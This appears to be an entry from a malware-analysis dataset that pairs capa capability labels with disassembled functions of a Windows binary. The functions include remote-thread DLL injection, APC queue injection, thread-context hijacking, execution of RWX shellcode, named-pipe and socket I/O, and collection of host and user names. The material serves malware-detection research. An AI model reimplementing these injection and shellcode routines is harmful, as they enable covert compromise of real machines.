joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004205
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push edi
push 0
push 0
push dword [ebp + 8]
call esi
mov edi, eax
test edi, edi
jne 0x10004223
xor eax, eax
jmp 0x10004244
lea eax, [edi + 1]
cmp eax, dword [ebp + 0x10]
jae 0x1000421f
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
call fcn.1001bf50
add esp, 0xc
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call esi
pop edi
pop esi
pop ebp
ret

Function at 0x1000480c
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push esi
push edi
push dword [ebp + 0x28]
call fcn.1000a13c
pop ecx
push 0x44
pop esi
push esi
lea eax, [ebp - 0x74]
push 0
push eax
call fcn.1001bf50
and dword [ebp - 0x14], 0
xor eax, eax
lea edi, [ebp - 0x28]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
push 0x100000
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x18], 0xc
mov dword [ebp - 0x10], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
push dword [ebp + 0x28]
and dword [ebp - 0x3c], 0
push dword [ebp + 0x24]
xor eax, eax
mov word [ebp - 0x44], ax
mov eax, dword [ebp - 8]
lea edi, [ebp - 0x28]
lea esi, [ebp - 0x74]
mov dword [ebp - 0x48], 0x101
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
call fcn.10009ef9
pop ecx
pop ecx
test eax, eax
je 0x100048f6
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp + 0x1c]
mov eax, dword [ebp - 0x20]
push dword [ebp + 0x18]
mov ecx, dword [ebp - 0x28]
push dword [ebp + 0xc]
mov edx, edi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call fcn.10004d72
add esp, 0x14
cmp dword [ebp + 8], 0
jbe 0x100048d9
push dword [ebp + 8]
push dword [ebp - 0xc]
call fcn.10005f2f
pop ecx
pop ecx
push dword [ebp + 0x20]
lea esi, [ebp - 0x28]
push dword [ebp - 8]
push dword [ebp - 0xc]
sub esp, 0x10
mov edi, esp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.10005bc4
add esp, 0x1c
push dword [ebp + 0x28]
call fcn.1000a15e
pop ecx
pop edi
pop esi
leave
ret
Function at 0x1000499e
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
lea eax, [ebp - 0x20]
call fcn.10006ce4
mov esi, eax
call fcn.10006cf0
mov edi, eax
mov eax, esi
mov dword [ebp - 0xc], edi
call fcn.10006d65
mov dword [ebp - 8], eax
mov eax, esi
call fcn.100016c7
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp eax, edi
jne 0x100049e7
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
jmp 0x10004ab5
push edi
xor ebx, ebx
push ebx
push 0x43a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, ebx
jne 0x10004a13
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push edi
push 0x21
call fcn.100019ce
add esp, 0xc
jmp 0x10004ab5
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call fcn.1000891f
pop ecx
push esi
mov edi, eax
call fcn.1000891f
pop ecx
cmp edi, eax
je 0x10004a37
push 0x3e
call fcn.100019e6
pop ecx
jmp 0x10004aae
push 0x40
push 0x3000
push dword [ebp - 4]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
cmp edi, ebx
jne 0x10004a5d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp - 4]
push 0x1f
jmp 0x10004aa6
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 4]
push dword [ebp - 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x10004a84
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x10
call fcn.10001988
pop ecx
jmp 0x10004a34
push ebx
push ebx
push edi
push dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
jne 0x10004aae
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp - 0xc]
push 0x20
call fcn.100019ce
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10004ec7
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 4], 0
push ebx
mov ebx, fcn.10004ec7
push esi
sub ebx, 0x10004e91
lea eax, [ebx + 0x10]
push edi
push eax
mov dword [ebp - 0xc], eax
call fcn.1001414e
mov esi, dword [ebp + 0x10]
mov edi, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push ebx
mov dword [ebp - 8], eax
add eax, 0x10
push 0x10004e91
push eax
movsd dword es:[edi], dword [esi]
call fcn.1001ad70
mov edi, dword [ebp - 0xc]
add esp, 0x10
push 0x40
push 0x3000
push edi
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
je 0x10004f42
lea eax, [ebp - 4]
push eax
push edi
push dword [ebp - 8]
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10004f42
cmp dword [ebp - 4], edi
je 0x10004f42
xor esi, esi
push dword [ebp - 8]
call fcn.10014071
pop ecx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x10004f52
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push esi
push edi
xor eax, eax
push 6
pop ecx
lea edi, [ebp - 0x30]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x14], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
push str.NtQueueApcThread
xor esi, esi
push str.ntdll
mov dword [ebp - 4], esi
mov dword [ebp - 0x34], 0x1c
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp + 0xc], eax
cmp eax, esi
je 0x10005083
lea eax, [ebp - 0x18]
push eax
push dword [ebx + 8]
push dword [ebx]
call fcn.10004ec7
mov edi, eax
add esp, 0xc
cmp edi, esi
je 0x10005083
push esi
push 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp + 8], eax
cmp eax, esi
je 0x10005083
lea ecx, [ebp - 0x34]
push ecx
push eax
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x10005083
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebx + 8]
jne 0x10005026
push dword [ebp - 0x2c]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov dword [ebp - 8], eax
test eax, eax
je 0x10005026
push 0
push 0
push edi
lea ecx, [edi + 0x10]
push ecx
push eax
call dword [ebp + 0xc]
push dword [ebp - 8]
call esi
lea eax, [ebp - 0x34]
push eax
push dword [ebp + 8]
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x10004ff5
push dword [ebp + 8]
call esi
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 4]
push eax
push 0x10
lea eax, [ebp - 0x18]
push eax
push edi
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x10005083
cmp dword [ebp - 4], 0x10
jne 0x10005083
cmp dword [ebp - 0xc], 0
jne 0x10005089
lea eax, [ebp - 4]
push eax
push 0x10
lea eax, [ebp - 0x18]
push eax
push edi
push dword [ebx]
mov dword [ebp - 0xc], 1
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
pop edi
pop esi
leave
ret
xor eax, eax
inc eax
jmp 0x10005085

Function at 0x1000508e
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push str.NtQueueApcThread
push str.ntdll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x100050b0
xor eax, eax
pop ebp
ret
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 4]
call eax
test eax, eax
jne 0x100050ac
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop ebp
ret

Function at 0x100050d8
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
push eax
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
neg eax
sbb eax, eax
neg eax
pop ebp
ret
Function at 0x100050f8
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
push eax
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
neg eax
sbb eax, eax
neg eax
pop ebp
ret

Function at 0x10005115
Capabilities:
Create thread
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d8
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x2d8], eax
mov eax, dword [ebp + 0x10]
push edi
mov dword [ebp - 0x2d4], eax
mov eax, dword [ebp + 0x14]
push ecx
push eax
mov edi, edx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor esi, esi
cmp eax, esi
jne 0x1000515d
xor eax, eax
jmp 0x100051dd
mov ecx, dword [ebp + 8]
add eax, ebx
sub ecx, 6
je 0x1000517f
dec ecx
jne 0x10005156
push esi
push 4
push edi
push eax
push esi
push esi
push dword [ebp - 0x2d8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
jmp 0x1000518c
push esi
push 4
push edi
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
cmp edi, esi
je 0x10005156
lea eax, [ebp - 0x2d0]
push eax
push edi
mov dword [ebp - 0x2d0], 0x10007
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x10005156
mov eax, dword [ebp - 0x2d4]
mov dword [ebp - 0x220], eax
lea eax, [ebp - 0x2d0]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x10005156
push edi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10014062
leave
ret
Function at 0x100054a0
Capabilities:
Allocate or change rwx memory
Check os version
Execute shellcode via indirect call
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x90
lea eax, [ebp - 0x94]
push 0
push eax
call fcn.1001bf50
add esp, 0xc
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0x98], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x100054eb
xor eax, eax
jmp 0x100055ba
cmp dword [ebp - 0x94], 5
jne 0x10005507
cmp dword [ebp - 0x90], 2
jne 0x10005507
push 5
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x100054e4
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x40
mov ebx, 0x3000
push ebx
push 0x4c
push 0
call esi
mov edi, eax
mov dword [ebp - 0x9c], edi
test edi, edi
je 0x1000558d
push 0x40
push ebx
push 0x149
push 0
call esi
mov ebx, eax
test ebx, ebx
je 0x1000558d
mov eax, dword [ebp + 8]
push 0x13
pop ecx
push 0x4a
mov esi, 0x10032028
rep movsd dword es:[edi], dword [esi]
pop ecx
mov esi, 0x10032078
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea esi, [ebx + 0x129]
and dword [esi + 0x18], 0
mov dword [esi], eax
mov eax, dword [ebp + 0xc]
mov dword [esi + 8], eax
mov eax, dword [ebp + 0x10]
push esi
push ebx
mov dword [esi + 0x10], eax
call dword [ebp - 0x9c]
test eax, eax
jne 0x1000557e
push 5
jmp 0x10005587
mov esi, dword [esi + 0x18]
test esi, esi
jne 0x10005591
push 6
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x100055b7
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edi, 0x4000
push edi
push 0
push dword [ebp - 0x9c]
call esi
push edi
push 0
push ebx
call esi
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10014062
leave
ret

Function at 0x100055c6
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d0
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0
je 0x100055e3
xor eax, eax
jmp 0x10005634
cmp dword [esi + 0x10], 0
je 0x100055df
lea eax, [ebp - 0x2d0]
push eax
push dword [esi + 4]
mov dword [ebp - 0x2d0], 0x10002
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x100055df
lea eax, [ebp - 0x2d0]
push eax
push dword [esi + 4]
mov dword [ebp - 0x220], edi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x100055df
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10014062
leave
ret
Function at 0x100057d5
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x2c], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
mov dword [ebp - 0x24], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 0x10]
push 0x3000
push dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
push 0
mov dword [ebp - 0x20], 0x10005729
mov dword [ebp - 0x1c], 0x100056b8
mov dword [ebp - 0x18], 0x10005741
mov dword [ebp - 0x14], 0x10005755
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x1000585b
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
call fcn.1001ad70
add esp, 0xc
lea eax, [ebp - 0x2c]
push eax
call esi
push 0x8000
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 8]
pop esi
leave
ret
Function at 0x10005dd8
Capabilities:
Read file on windows
Read pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
xor esi, esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov dword [ebp - 0xc], esi
mov dword [ebp - 4], esi
push esi
lea eax, [ebp - 8]
push eax
push esi
push esi
push esi
push dword [ebp + 8]
call edi
test eax, eax
jne 0x10005e32
or eax, 0xffffffff
jmp 0x10005e3a
cmp dword [ebp - 4], 0x80000
jae 0x10005e37
push esi
lea eax, [ebp - 0xc]
push eax
mov eax, 0x80000
sub eax, dword [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0xc]
add dword [ebp - 4], eax
add dword [ebp + 0xc], eax
jmp 0x10005dee
cmp dword [ebp - 8], esi
ja 0x10005e04
mov eax, dword [ebp - 0xc]
pop edi
pop esi
leave
ret

Function at 0x1000650a
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
call esi
mov edi, eax
add edi, 0x3a98
call esi
cmp eax, edi
jae 0x1000657a
xor eax, eax
push eax
push 0x100000
push 3
push eax
push eax
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x100065a6
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xe7
jne 0x10006567
push 0x2710
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
jmp 0x10006572
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
cmp eax, edi
jb 0x10006529
jmp 0x1000657d
mov ebx, dword [ebp - 8]
cmp ebx, 0xffffffff
jne 0x100065a6
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0x79
jne 0x10006598
push 4
call fcn.100019e6
jmp 0x100065a3
call esi
push eax
push 0x14
call fcn.10001988
pop ecx
pop ecx
jmp 0x10006607
push 0
push 0
lea eax, [ebp - 8]
push eax
push ebx
mov dword [ebp - 8], 2
call dword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
test eax, eax
jne 0x100065d2
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x14
call fcn.10001988
pop ecx
pop ecx
jmp 0x100065f9
mov ecx, ebx
lea eax, [ebp - 0x2c]
call fcn.10006761
sub esp, 0x20
push 8
pop ecx
mov esi, eax
mov edi, esp
push 0x1bd
rep movsd dword es:[edi], dword [esi]
call fcn.1000614f
add esp, 0x24
test eax, eax
jne 0x10006607
push ebx
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000661c
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
xor ebx, ebx
push ebx
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
xor edi, edi
call esi
test eax, eax
je 0x10006684
cmp dword [ebp - 4], 4
jne 0x10006684
mov eax, dword [ebp - 8]
cmp eax, dword [ebp + 0x10]
jg 0x10006684
cmp eax, ebx
jle 0x10006680
push ebx
lea ecx, [ebp - 4]
push ecx
sub eax, edi
push eax
mov eax, dword [ebp + 0xc]
add eax, edi
push eax
push dword [ebp + 8]
call esi
test eax, eax
je 0x10006684
cmp dword [ebp - 4], ebx
je 0x10006684
add edi, dword [ebp - 4]
mov eax, dword [ebp - 8]
cmp edi, eax
jl 0x1000665a
mov eax, edi
jmp 0x10006687
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000668c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
xor edi, edi
push edi
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 8]
mov dword [ebp - 4], edi
call esi
cmp eax, edi
je 0x100066ed
cmp dword [ebp - 4], 4
jne 0x100066ed
cmp dword [ebp + 0x10], edi
jle 0x100066ef
mov eax, dword [ebp + 0x10]
sub eax, edi
cmp eax, 0x2000
jle 0x100066cd
mov eax, 0x2000
push 0
lea ecx, [ebp - 4]
push ecx
push eax
mov eax, dword [ebp + 0xc]
add eax, edi
push eax
push dword [ebp + 8]
call esi
test eax, eax
je 0x100066ed
add edi, dword [ebp - 4]
cmp edi, dword [ebp + 0x10]
jl 0x100066bc
jmp 0x100066ef
xor eax, eax
pop edi
pop esi
leave
ret

Function at 0x1000678e
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov ebx, dword [sym.imp.WS2_32.dll_ioctlsocket]
mov esi, eax
add esi, dword [ebp + 0xc]
lea eax, [ebp - 8]
push eax
push 0x8004667e
push dword [ebp + 8]
mov dword [ebp - 8], 1
call ebx
cmp eax, 0xffffffff
jne 0x100067f3
xor eax, eax
jmp 0x10006822
push 2
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x10006804
jg 0x100067fb
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x10006804
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
call edi
cmp eax, esi
jb 0x100067c7
jmp 0x10006808
mov dword [ebp + 0xc], 1
jmp 0x10006808
and dword [ebp + 0xc], 0
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
push 0x8004667e
push dword [ebp + 8]
call ebx
inc eax
neg eax
sbb eax, eax
and eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000685f
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
push edi
xor edi, edi
push edi
push 4
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call esi
cmp eax, 0xffffffff
je 0x100068ae
cmp eax, 4
jne 0x100068ae
mov eax, dword [ebp - 4]
test eax, eax
jle 0x100068b1
push 0
sub eax, edi
push eax
mov eax, dword [ebp + 0xc]
add eax, edi
push eax
push dword [ebp + 8]
call esi
cmp eax, 0xffffffff
je 0x100068ae
add edi, eax
mov eax, dword [ebp - 4]
cmp edi, eax
jl 0x1000688e
jmp 0x100068b1
or eax, 0xffffffff
pop edi
pop esi
leave
ret

Function at 0x10006916
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0x8004667e
push edi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
mov eax, fcn.10006915
mov dword [esi + 0x14], eax
mov dword [esi + 0x1c], eax
mov dword [esi + 4], edi
mov dword [esi + 8], 0x100068b5
mov dword [esi + 0xc], 0x100068ca
mov dword [esi + 0x10], 0x100068e3
mov dword [esi + 0x18], 0x10006900
mov eax, esi
leave
ret

Function at 0x1000695c
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
push esi
push edi
call ebx
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov edi, eax
add edi, 0x3a98
lea eax, [ebp - 0x20]
mov dword [ebp - 8], edi
call fcn.10006ce4
mov esi, eax
call fcn.10006d29
movzx esi, ax
lea eax, [ebp - 0x20]
mov dword [ebp - 0xc], esi
call fcn.10006d65
mov dword [ebp - 4], eax
call fcn.100020f4
call ebx
cmp eax, edi
jae 0x100069ca
mov edi, dword [ebp - 4]
push esi
call fcn.10002958
pop ecx
cmp eax, 0xffffffff
jne 0x100069dc
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call ebx
cmp eax, dword [ebp - 8]
jb 0x100069a9
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push 0x44
call fcn.10001988
pop ecx
pop ecx
jmp 0x10006a03
mov edi, eax
lea esi, [ebp - 0x30]
call fcn.10006916
sub esp, 0x20
mov esi, eax
mov eax, dword [ebp - 0xc]
push 8
pop ecx
or eax, 0x100000
mov edi, esp
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.1000614f
add esp, 0x24
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10006a13
Capabilities:
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push edi
push 0x394
call fcn.10006c7d
mov edx, eax
pop ecx
mov esi, 0x94
mov dword [ebp - 4], edx
call fcn.10006d4a
add esi, 0x6c
mov edi, eax
call fcn.10006d4a
mov dword [ebp - 0x14], eax
call fcn.10006d4a
mov dword [ebp - 0x10], eax
call fcn.10006d4a
mov dword [ebp - 0xc], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x10]
mov dword [ebp - 8], esi
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x14]
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push dword [ebp - 0xc]
call fcn.10002163
pop ecx
push esi
push dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x10006aa4
push 0x5c
push dword [ebp - 0xc]
call fcn.10015b50
pop ecx
pop ecx
test eax, eax
je 0x10006aa4
inc eax
mov dword [ebp - 0xc], eax
jne 0x10006aab
mov dword [ebp - 0xc], 0x1002c712
push edi
mov dword [edi], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push dword [ebp - 0xc]
mov eax, dword [edi + 4]
push dword [ebp - 0x10]
mov dword [0x10039cac], eax
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push dword [edi + 8]
push eax
push str._d._d_t_s_t_s_t_s_t_s
push esi
push dword [ebp + 8]
call fcn.100142a6
mov eax, dword [ebp + 8]
add esp, 0x24
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10006ae7
sub eax, ecx
mov edi, eax
cmp edi, 0x4e
jle 0x10006afa
push 0x4e
pop edi
mov esi, dword [ebp - 4]
call fcn.10006cbd
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x10006e14
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 0xc], esi
push edi
mov edi, eax
jle 0x10006e42
mov eax, dword [ebp + 0xc]
push 0
sub eax, esi
push eax
push edi
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
add edi, eax
add esi, eax
cmp eax, 0xffffffff
je 0x10006e48
cmp esi, dword [ebp + 0xc]
jl 0x10006e22
mov eax, esi
pop edi
pop esi
pop ebp
ret
push 2
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [ebp + 8]
call sub.WS2_32.dll_closesocket
or eax, 0xffffffff
jmp 0x10006e44